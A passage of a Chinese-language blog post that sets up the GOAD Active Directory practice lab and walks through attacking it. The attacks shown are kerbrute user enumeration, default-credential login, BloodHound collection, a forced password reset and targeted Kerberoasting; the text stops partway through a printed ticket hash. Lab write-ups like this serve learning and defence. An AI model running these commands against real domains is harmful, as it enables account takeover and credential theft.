{"id":766,"date":"2026-08-13T14:17:06","date_gmt":"2026-08-13T06:17:06","guid":{"rendered":"https:\/\/chengyunpu.com\/wordpress\/?p=766"},"modified":"2026-08-16T17:21:19","modified_gmt":"2026-08-16T09:21:19","slug":"goad-writeup-infra","status":"publish","type":"post","link":"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/","title":{"rendered":"GOAD writeup &amp; infra"},"content":{"rendered":"\n<details class=\"wp-block-details is-layout-flow wp-block-details-is-layout-flow\"><summary>infrastructure<\/summary>\n<p class=\"wp-block-paragraph\">\u786c\u9ad4\u898f\u683c\u5982\u4e0b\uff1a<br>\u76ee\u6a19\u5f9e\u6700\u5c0f\u7684 lab \u958b\u59cb\u6253\uff0c\u770b\u770b\u6700\u5f8c\u80fd\u5426\u8b93\u9019\u53f0\u8001\u96fb\u8166\u652f\u6490\u6211\u6253\u5b8c\u6574\u7684 GOAD<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">root@pve:~# fastfetch\n         .:\/\/:`              `:\/\/:.             root@pve\n       `hMMMMMMd\/          \/dMMMMMMh`           --------\n        `sMMMMMMMd:      :mMMMMMMMs`            OS: Proxmox VE 9.2.10 x86_64\n`-\/+oo+\/:`.yMMMMMMMh-  -hMMMMMMMy.`:\/+oo+\/-`    Host: BM6AE_BM1AE_BP1AE\n`:oooooooo\/`-hMMMMMMMyyMMMMMMMh-`\/oooooooo:`    Kernel: Linux 7.0.14-11-pve\n  `\/oooooooo:`:mMMMMMMMMMMMMm:`:oooooooo\/`      Uptime: 11 mins\n    .\/ooooooo+- +NMMMMMMMMN+ -+ooooooo\/.        Packages: 782 (dpkg)\n      .+ooooooo+-`oNMMMMNo`-+ooooooo+.          Shell: bash 5.2.37\n        -+ooooooo\/.`sMMs`.\/ooooooo+-            Terminal: termproxy\n          :oooooooo\/`..`\/oooooooo:              CPU: Intel(R) Core(TM) i7-4790 (8) @ 4.00 GHz\n          :oooooooo\/`..`\/oooooooo:              GPU: Intel Xeon E3-1200 v3\/4th Gen Core Processor Integrated Graphics Controller @ 1.20 GHz [Integrated]\n        -+ooooooo\/.`sMMs`.\/ooooooo+-            Memory: 3.11 GiB \/ 31.22 GiB (10%)\n      .+ooooooo+-`oNMMMMNo`-+ooooooo+.          Swap: 792.84 MiB \/ 8.00 GiB (10%)\n    .\/ooooooo+- +NMMMMMMMMN+ -+ooooooo\/.        Disk (\/): 18.67 GiB \/ 93.93 GiB (20%) - ext4\n  `\/oooooooo:`:mMMMMMMMMMMMMm:`:oooooooo\/`      Disk (\/mnt\/hdd): 147.23 GiB \/ 915.82 GiB (16%) - ext4\n`:oooooooo\/`-hMMMMMMMyyMMMMMMMh-`\/oooooooo:`    Local IP (vmbr0): 192.168.8.2\/24\n`-\/+oo+\/:`.yMMMMMMMh-  -hMMMMMMMy.`:\/+oo+\/-`    Locale: en_US.UTF-8\n        `sMMMMMMMm:      :dMMMMMMMs`\n       `hMMMMMMd\/          \/dMMMMMMh`                                   \n         `:\/\/:`              `:\/\/:`                                     <\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728 pve \u4e0a\u5efa\u7acb\u4e00\u500b VM \uff0c\u6211\u9078\u7528 kali iso \uff0cVM \u88dd\u597d\u5f8c\u5728 Hardware \u5c07 Processors \u7684 type \u6539\u6210 host<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" width=\"813\" height=\"285\" fetchpriority=\"low\" src=\"https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-3.png\" alt=\"\" class=\"wp-image-782\" srcset=\"https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-3.png 813w, https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-3-300x105.png 300w, https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-3-768x269.png 768w\" sizes=\"(max-width: 813px) 100vw, 813px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">install virualbox<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">sudo apt install virtualbox -y<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">install vagrant<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">wget -O- https:\/\/apt.releases.hashicorp.com\/gpg | sudo gpg --dearmor -o \/usr\/share\/keyrings\/hashicorp-archive-keyring.gpg\n\necho \"deb [signed-by=\/usr\/share\/keyrings\/hashicorp-archive-keyring.gpg] https:\/\/apt.releases.hashicorp.com bookworm main\" | sudo tee \/etc\/apt\/sources.list.d\/hashicorp.list\n\nsudo apt update &amp;&amp; sudo apt install vagrant -y<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">install vagrant plugin<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">vagrant plugin install vagrant-reload vagrant-vbguest winrm winrm-fs winrm-elevated<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">install docker<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">sudo apt install docker.io -y<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">clone repository<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">git clone https:\/\/github.com\/Orange-Cyberdefense\/GOAD.git<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">build docker image<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">cd GOAD\nsudo docker build -t goadansible .<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">\u74b0\u5883\u641e\u597d\u5f8c\u5c31\u80fd\u958b\u59cb\u5efa lab \u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">.\/goad.sh -t install -l GOAD-Mini -p virtualbox -m docker<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>status<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/GOAD]\n\u2514\u2500$ .\/goad.sh -t status -l MINILAB\n\n   _____   _____          _____\n  \/ ____| \/ ||| \\   \/\\   |  __ \\\n | |  __||  |||  | \/  \\  | |  | |\n | | |_ ||  |||  |\/ \/\\ \\ | |  | |\n | |__| ||  |||  \/ \/__\\ \\| |__| |\n  \\_____| \\_|||_\/________\\_____\/\n    Game Of Active Directory\n      Pwning is coming\n\nGoad management console type help or ? to list commands\n\n[*] lab instances :\n\u250f\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2513\n\u2503 Instance ID                 \u2503 Lab       \u2503 Provider   \u2503 IP Range        \u2503 Status    \u2503 Is Default \u2503 Extensions \u2503\n\u2521\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2529\n\u2502 3ae1cf-goad-mini-virtualbox \u2502 GOAD-Mini \u2502 virtualbox \u2502 192.168.56.0\/24 \u2502 installed \u2502 Yes        \u2502            \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>start<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/GOAD]\n\u2514\u2500$ .\/goad.sh -t start -i 3ae1cf-goad-mini-virtualbox\n\n   _____   _____          _____\n  \/ ____| \/ ||| \\   \/\\   |  __ \\\n | |  __||  |||  | \/  \\  | |  | |\n | | |_ ||  |||  |\/ \/\\ \\ | |  | |\n | |__| ||  |||  \/ \/__\\ \\| |__| |\n  \\_____| \\_|||_\/________\\_____\/\n    Game Of Active Directory\n      Pwning is coming\n\nGoad management console type help or ? to list commands\n\n[*] lab instances :\n\u250f\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2513\n\u2503 Instance ID                 \u2503 Lab       \u2503 Provider   \u2503 IP Range        \u2503 Status    \u2503 Is Default \u2503 Extensions \u2503\n\u2521\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2529\n\u2502 3ae1cf-goad-mini-virtualbox \u2502 GOAD-Mini \u2502 virtualbox \u2502 192.168.56.0\/24 \u2502 installed \u2502 Yes        \u2502            \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n[*] Current user is not in docker group, we will use \"sudo\" before docker commands\n[*] CWD: \/\n[*] Running command : sudo docker images |grep -c \"goadansible\"\n[sudo] password for kali:\n1\n[+] Docker image exist\n[+] Instance 3ae1cf-goad-mini-virtualbox loaded\n\u250f\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2513\n\u2503 Instance ID                   \u2503 Lab       \u2503 Provider   \u2503 IP Range        \u2503 Status    \u2503 Is Default \u2503 Extensions \u2503\n\u2521\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2529\n\u2502 > 3ae1cf-goad-mini-virtualbox \u2502 GOAD-Mini \u2502 virtualbox \u2502 192.168.56.0\/24 \u2502 installed \u2502 Yes        \u2502            \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n[*] CWD: \/workspace\/3ae1cf-goad-mini-virtualbox\/provider\n[*] Running command : vagrant up\nBringing machine 'GOAD-Mini-DC01' up with 'virtualbox' provider...\n==> GOAD-Mini-DC01: Checking if box 'StefanScherer\/windows_2019' version '2021.05.15' is up to date...\n==> GOAD-Mini-DC01: Clearing any previously set forwarded ports...\n==> GOAD-Mini-DC01: Clearing any previously set network interfaces...\n==> GOAD-Mini-DC01: Preparing network interfaces based on configuration...\n    GOAD-Mini-DC01: Adapter 1: nat\n    GOAD-Mini-DC01: Adapter 2: hostonly\n==> GOAD-Mini-DC01: Forwarding ports...\n    GOAD-Mini-DC01: 5985 (guest) => 55985 (host) (adapter 1)\n    GOAD-Mini-DC01: 5986 (guest) => 55986 (host) (adapter 1)\n    GOAD-Mini-DC01: 22 (guest) => 2222 (host) (adapter 1)\n==> GOAD-Mini-DC01: Running 'pre-boot' VM customizations...\n==> GOAD-Mini-DC01: Booting VM...\n==> GOAD-Mini-DC01: Waiting for machine to boot. This may take a few minutes...\n    GOAD-Mini-DC01: WinRM address: 127.0.0.1:55985\n    GOAD-Mini-DC01: WinRM username: vagrant\n    GOAD-Mini-DC01: WinRM execution_time_limit: PT2H\n    GOAD-Mini-DC01: WinRM transport: negotiate\n==> GOAD-Mini-DC01: Machine booted and ready!\n==> GOAD-Mini-DC01: Checking for guest additions in VM...\n    GOAD-Mini-DC01: The guest additions on this VM do not match the installed version of\n    GOAD-Mini-DC01: VirtualBox! In most cases this is fine, but in rare cases it can\n    GOAD-Mini-DC01: prevent things such as shared folders from working properly. If you see\n    GOAD-Mini-DC01: shared folder errors, please make sure the guest additions within the\n    GOAD-Mini-DC01: virtual machine match the version of VirtualBox you have installed on\n    GOAD-Mini-DC01: your host and reload your VM.\n    GOAD-Mini-DC01:\n    GOAD-Mini-DC01: Guest Additions Version: 6.1.22\n    GOAD-Mini-DC01: VirtualBox Version: 7.2\n==> GOAD-Mini-DC01: Configuring and enabling network interfaces...\n==> GOAD-Mini-DC01: Machine already provisioned. Run `vagrant provision` or use the `--provision`\n==> GOAD-Mini-DC01: flag to force provisioning. Provisioners marked to run always will still run<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u518d\u88dd MINILAB \u7684\u6642\u5019\u78b0\u5230\u8a18\u61b6\u9ad4\u5403\u6eff\u5728\u532f\u5165 VirtualBox \u6642\u6574\u53f0\u6b7b\u6a5f\u3002<br>\u5148\u8b93\u5b83\u8dd1\u5b8c\u524d\u7f6e VM \u5efa\u8d77\u4f86\uff0c\u5f8c\u7e8c\u518d\u7528 goad.sh \u91cd\u65b0 install <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">cd \/workspace\/c4bd04-minilab-virtualbox\/provider\n\nvagrant box add --provider virtualbox mayfly\/windows10<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code class=\"\">cd ~\/GOAD\/workspace\/c4bd04-minilab-virtualbox\/provider\n\nvagrant destroy -f WS01\n\nvagrant up WS01<\/code><\/pre>\n<\/details>\n\n\n\n<h3 class=\"wp-block-heading\">MINILAB<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">GOAD-Mini<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"878\" height=\"572\" src=\"https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-2.png\" alt=\"\" class=\"wp-image-777\" srcset=\"https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-2.png 878w, https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-2-300x195.png 300w, https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-2-768x500.png 768w\" sizes=\"auto, (max-width: 878px) 100vw, 878px\" \/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">solution one<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">\u6839\u64da\u9019\u5f35\u5716\uff0c\u5be6\u5728\u6c92\u8fa6\u6cd5\u4e86\u53ea\u80fd\u5229\u7528 kerbrute \u679a\u8209 users<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/raw.githubusercontent.com\/esidate\/pentesting-active-directory\/a8e37705542720cb1f9b65ec9039f67b70b61ca6\/v2\/pentesting_active_directory.svg\"><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/esidate\/pentesting-active-directory\/a8e37705542720cb1f9b65ec9039f67b70b61ca6\/v2\/pentesting_active_directory.svg\" alt=\"\"\/><\/a><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/mini]\n\u2514\u2500$ ..\/tools\/kerbrute\/dist\/kerbrute_linux_amd64 userenum -d sevenkingdoms.local --dc 192.168.56.10 \/usr\/share\/wordlists\/rockyou.txt -o users\n\n    __             __               __\n   \/ \/_____  _____\/ \/_  _______  __\/ \/____\n  \/ \/\/_\/ _ \\\/ ___\/ __ \\\/ ___\/ \/ \/ \/ __\/ _ \\\n \/ ,&lt; \/  __\/ \/  \/ \/_\/ \/ \/  \/ \/_\/ \/ \/_\/  __\/\n\/_\/|_|\\___\/_\/  \/_.___\/_\/   \\__,_\/\\__\/\\___\/\n\nVersion: dev (9cfb81e) - 08\/11\/26 - Ronnie Flathers @ropnop\n\n2026\/08\/11 23:22:23 &gt;  Using KDC(s):\n2026\/08\/11 23:22:23 &gt;   192.168.56.10:88\n\n2026\/08\/11 23:22:29 &gt;  [+] VALID USERNAME:       administrator@sevenkingdoms.local\n2026\/08\/11 23:23:07 &gt;  [+] VALID USERNAME:       vagrant@sevenkingdoms.local<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u627e\u5230 administrator,vagrant\uff0c\u5617\u8a66 username=password \u5c31\u6253\u5b8c\u4e86..<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/GOAD]\n\u2514\u2500$ nxc smb 192.168.56.10 -u vagrant -p vagrant\nSMB         192.168.56.10   445    KINGSLANDING     [*] Windows 10 \/ Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)\nSMB         192.168.56.10   445    KINGSLANDING     [+] sevenkingdoms.local\\vagrant:vagrant (Pwn3d!)<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">solution two<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/medium.com\/@Obfuscator\/kerberos-authentication-5cda4b4e5f09\" target=\"_blank\" rel=\"noreferrer noopener\">Kerberos Authentication \u77e5\u8b58\u88dc\u5145<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">assume breach <code>tywin.lannister:powerkingftw135<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/mini]\n\u2514\u2500$ bloodhound-python -d 'sevenkingdoms.local' -ns '192.168.56.10' -u 'tywin.lannister' -p 'powerkingftw135' -c all --zip\nINFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)\nINFO: Found AD domain: sevenkingdoms.local\nINFO: Getting TGT for user\nINFO: Connecting to LDAP server: kingslanding.sevenkingdoms.local\nINFO: Found 1 domains\nINFO: Found 1 domains in the forest\nINFO: Found 1 computers\nINFO: Connecting to LDAP server: kingslanding.sevenkingdoms.local\nINFO: Found 16 users\nINFO: Found 59 groups\nINFO: Found 2 gpos\nINFO: Found 9 ous\nINFO: Found 19 containers\nINFO: Found 0 trusts\nINFO: Starting computer enumeration with 10 workers\nINFO: Querying computer: kingslanding.sevenkingdoms.local\nINFO: Done in 00M 01S\nINFO: Compressing output into 20260812053335_bloodhound.zip<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u653b\u64ca\u8def\u5f91\u5982\u4e0b<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><img decoding=\"async\" src=\"https:\/\/hackmd.io\/_uploads\/BJwyH6YLfx.png\" alt=\"image\"><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><code>ForceChangePassword<\/code> to JAIME.LANNISTER\uff1a<br>\u7528 tywin.lannister \u66f4\u6539 JAIME.LANNISTER \u7684\u5bc6\u78bc<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/mini]\n\u2514\u2500$ nxc smb '192.168.56.10' -u 'tywin.lannister' -p 'powerkingftw135' -M change-password -o USER='JAIME.LANNISTER' NEWPASS='P@$$w0rd'\nSMB         192.168.56.10   445    KINGSLANDING     [*] Windows 10 \/ Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)\nSMB         192.168.56.10   445    KINGSLANDING     [+] sevenkingdoms.local\\tywin.lannister:powerkingftw135\nCHANGE-P... 192.168.56.10   445    KINGSLANDING     [+] Successfully changed password for JAIME.LANNISTER\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/mini]\n\u2514\u2500$ nxc smb '192.168.56.10' -u 'JAIME.LANNISTER' -p 'P@$$w0rd'\nSMB         192.168.56.10   445    KINGSLANDING     [*] Windows 10 \/ Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)\nSMB         192.168.56.10   445    KINGSLANDING     [+] sevenkingdoms.local\\JAIME.LANNISTER:P@$$w0rd<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><code>GenericWrite<\/code> \u53d6\u5f97 joffrey.baratheon \u7684 hash \u4e26\u7834\u89e3\uff0c\u5f97\u660e\u6587\u5bc6\u78bc 1killerlion<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/mini]\n\u2514\u2500$ ..\/tools\/targetedKerberoast\/targetedKerberoast.py -v -d 'sevenkingdoms.local' -u 'JAIME.LANNISTER' -p 'P@$$w0rd'\n[*] Starting kerberoast attacks\n[*] Fetching usernames from Active Directory with LDAP\n[VERBOSE] SPN added successfully for (joffrey.baratheon)\n[+] Printing hash for (joffrey.baratheon)\n$krb5tgs$23$*joffrey.baratheon$SEVENKINGDOMS.LOCAL$sevenkingdoms.local\/joffrey.baratheon*$b905c2a3d5da4a43c57a80ba3689cc26$c440c9645606bcae5a01ca8228a89595695628a5028d855b1fb6f0f1acd66d119f603c6a9c4c6fba05bc9f6d365d3cc717a5a2ea4e6a85a4deb75392c52a569e31ba844a2196b04caa41ef63f6d8881d4a6d2b4d26c57ecdc90e9781f13d2565228db325efc7c3fc8c7d9e93f590d582f44ce67c12f1d7e3e22693cc597303c832fd1d63a648edc7cf612c865ae61371e648394fef91b7d369039cfdbe2152c955d83fc84d6fbe4ed7be48f752ed3ab92ac4949b6be459260889ed0e1877dd97ea8cb0e2cb269d71af740aded3ede16ff9869154f28e0904cf543d6cdb77c712697bc08dd0a6d1d6c0915c05e35d8c05f98f4c8b23481cfb46737f59d87920c554c891aade225ec2d0bd4d569782efaae418628edac4e005e5182e055543c36c4b7b95aaaaeb6b468990437de839381052e75d9598216c30020189bb9456d62810b6a039c979f66310feefb86a3afcbe91ef4efb9d63356db76e83b88d329ba6e00b1ba04a7731e1950d13970c628086583c2ce01971c39c3f0fb97324b5b8ae7aa281661f0b5cbdc4dd839c14c607fb23d6e4d59749fb3cbc9ed2d147e799675eb6fc3c711f6a1f45482ddef9ceffbf8c67e168198ff87231fe0dbb4ae48832e2c6e6863041e5357188b28f98d02d8f2d3961a24a725de0ed49eb5050cf2b168533cd1cd5358b6aa669509134caef2599bc710c23c4d89086841b03d181b2021af4a7aa08f9bd780e6c7d32b6c629dd800450f61a5e8ef5d91bda70c9cd9569e0a12d9751ed6826a05c29f372e6e72173886c5df8799c17bf43adab7967211f6fd935cf22ae4d0cb58095fe4b33b9b6a40df9f3f8fc2c68ffaa154a37dca773bb55a81defcbc804d325b3dab9d1e480e96cb301c5539dcceb5ffc8cd81de96284722a04534df1ff6e0a0cb9a044baeb2ec76b45167ac7c25706a60870183af200ef7f409646ddd2af9958c017c7669547f47ac2eadbc06415c557ba1fbbb7527a36617818321f834d430026477872e6caffb0c4d2789ee9fc05e8c1aee2609dc27264aef6c7ef43111bace179022689c4d574cfe5664ef77a581cac15428f2aa762ba393f7d3a3bfbf26ceb995bac378c09fa426cd965236e15ab2288f5d8ed0cea922f9eb33b8bb485e